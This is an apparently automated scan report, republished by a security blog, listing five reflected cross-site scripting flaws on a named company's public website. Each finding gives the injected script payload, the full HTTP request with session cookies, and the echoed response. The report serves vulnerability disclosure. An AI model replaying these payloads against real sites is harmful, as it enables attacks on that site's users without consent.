XSS, Cross Site Scripting, virtusa.com, DORK, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX Research Blog at Tue Mar 01 08:57:28 CST 2011.


Loading

1. Cross-site scripting (reflected)

1.1. http://www.virtusa.com/applications/userlogin/userlogin.asp [fn parameter]

1.2. http://www.virtusa.com/common/exitpage.asp [page parameter]

1.3. http://www.virtusa.com/contactus [Referer HTTP header]

1.4. http://www.virtusa.com/contactus/ [Referer HTTP header]

1.5. http://www.virtusa.com/ftbu/contactus/default.asp [Referer HTTP header]



1. Cross-site scripting (reflected)
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.virtusa.com/applications/userlogin/userlogin.asp [fn parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.virtusa.com
Path:   /applications/userlogin/userlogin.asp

Issue detail

The value of the fn request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c59a7"><script>alert(1)</script>562a4528863 was submitted in the fn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /applications/userlogin/userlogin.asp?fn=practicebrochure/DWBIPR-PB-0410.pdfc59a7"><script>alert(1)</script>562a4528863&iframe HTTP/1.1
Host: www.virtusa.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=213023891.1298986816.1.1.utmccn=(organic)|utmcsr=google|utmctr=Virtusa|utmcmd=organic; virtusa=csession=650730749&tid=2324094; __utma=213023891.1848117310.1298986816.1298986816.1298986816.1; __utmc=213023891; __utmb=213023891; ASPSESSIONIDCARSSRAC=JAMFJMGCCILFNOJAPOIFKBLI;

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2672
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Tue, 01 Mar 2011 17:02:22 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="
...[SNIP]...
<input type="hidden" name="fn" id="fn" value="practicebrochure/DWBIPR-PB-0410.pdfc59a7"><script>alert(1)</script>562a4528863" />
...[SNIP]...

1.2. http://www.virtusa.com/common/exitpage.asp [page parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.virtusa.com
Path:   /common/exitpage.asp

Issue detail

The value of the page request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b063"><script>alert(1)</script>97885e32c80 was submitted in the page parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /common/exitpage.asp?msgid=2&page=http%3A%2F%2Fwww%2Egartner%2Ecom%2Ftechnology%2Fsummits%2Femea%2Fbusiness%2Dprocess%2Findex%2Ejsp5b063"><script>alert(1)</script>97885e32c80 HTTP/1.1
Host: www.virtusa.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=213023891.1298986816.1.1.utmccn=(organic)|utmcsr=google|utmctr=Virtusa|utmcmd=organic; virtusa=csession=650730749&tid=2324094; __utma=213023891.1848117310.1298986816.1298986816.1298986816.1; __utmc=213023891; __utmb=213023891; ASPSESSIONIDCARSSRAC=JAMFJMGCCILFNOJAPOIFKBLI;

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2085
Content-Type: text/html
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Tue, 01 Mar 2011 17:02:11 GMT
Connection: close


<style>
body{
   padding:0;
   margin:0;
   font-family: Arial, Helvetica, sans-serif;
   font-size: 12px;
   color: #333;
}
   
#contentarea{
   display:block;
   padding-top:10px;
}

#tbl{
   display
...[SNIP]...
<a href="http://www.gartner.com/technology/summits/emea/business-process/index.jsp5b063"><script>alert(1)</script>97885e32c80" target="_blank" onclick="$.fn.fancybox.close()">
...[SNIP]...

1.3. http://www.virtusa.com/contactus [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.virtusa.com
Path:   /contactus

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51bca"><script>alert(1)</script>a3159ea710e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /contactus HTTP/1.1
Host: www.virtusa.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=51bca"><script>alert(1)</script>a3159ea710e
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCARSSRAC=JAMFJMGCCILFNOJAPOIFKBLI; __utma=213023891.1848117310.1298986816.1298986816.1298986816.1; __utmc=213023891; __utmz=213023891.1298986816.1.1.utmccn=(organic)|utmcsr=google|utmctr=Virtusa|utmcmd=organic; virtusa=csession=650730749&tid=2324094; __utmb=213023891

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: virtusa=csession=650730749&tid=2324094; expires=Wed, 01-Jun-2011 15:35:38 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 01 Mar 2011 16:35:38 GMT
Content-Length: 34628


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<input type="hidden" name="ref" value="http://www.google.com/search?hl=en&q=51bca"><script>alert(1)</script>a3159ea710e" />
...[SNIP]...

1.4. http://www.virtusa.com/contactus/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.virtusa.com
Path:   /contactus/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 713bf"><script>alert(1)</script>ef1e48d07dd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /contactus/ HTTP/1.1
Host: www.virtusa.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=713bf"><script>alert(1)</script>ef1e48d07dd
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCARSSRAC=JAMFJMGCCILFNOJAPOIFKBLI; __utma=213023891.1848117310.1298986816.1298986816.1298986816.1; __utmc=213023891; __utmz=213023891.1298986816.1.1.utmccn=(organic)|utmcsr=google|utmctr=Virtusa|utmcmd=organic; virtusa=csession=650730749&tid=2324094; __utmb=213023891

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: virtusa=csession=650730749&tid=2324094; expires=Wed, 01-Jun-2011 15:35:32 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 01 Mar 2011 16:35:33 GMT
Content-Length: 34628


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<input type="hidden" name="ref" value="http://www.google.com/search?hl=en&q=713bf"><script>alert(1)</script>ef1e48d07dd" />
...[SNIP]...

1.5. http://www.virtusa.com/ftbu/contactus/default.asp [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.virtusa.com
Path:   /ftbu/contactus/default.asp

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df04c"><script>alert(1)</script>f4b577c20b3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /ftbu/contactus/default.asp HTTP/1.1
Host: www.virtusa.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=213023891.1298986816.1.1.utmccn=(organic)|utmcsr=google|utmctr=Virtusa|utmcmd=organic; virtusa=csession=650730749&tid=2324094; __utma=213023891.1848117310.1298986816.1298986816.1298986816.1; __utmc=213023891; __utmb=213023891; ASPSESSIONIDCARSSRAC=JAMFJMGCCILFNOJAPOIFKBLI;
Referer: http://www.google.com/search?hl=en&q=df04c"><script>alert(1)</script>f4b577c20b3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 37314
Content-Type: text/html
Server: Microsoft-IIS/7.0
Set-Cookie: virtusa=csession=650730749&tid=2324094; expires=Wed, 01-Jun-2011 15:52:42 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 01 Mar 2011 16:52:42 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<input type="hidden" name="ref" value="http://www.google.com/search?hl=en&q=df04c"><script>alert(1)</script>f4b577c20b3" />
...[SNIP]...

Report generated by XSS.CX Research Blog at Tue Mar 01 08:57:28 CST 2011.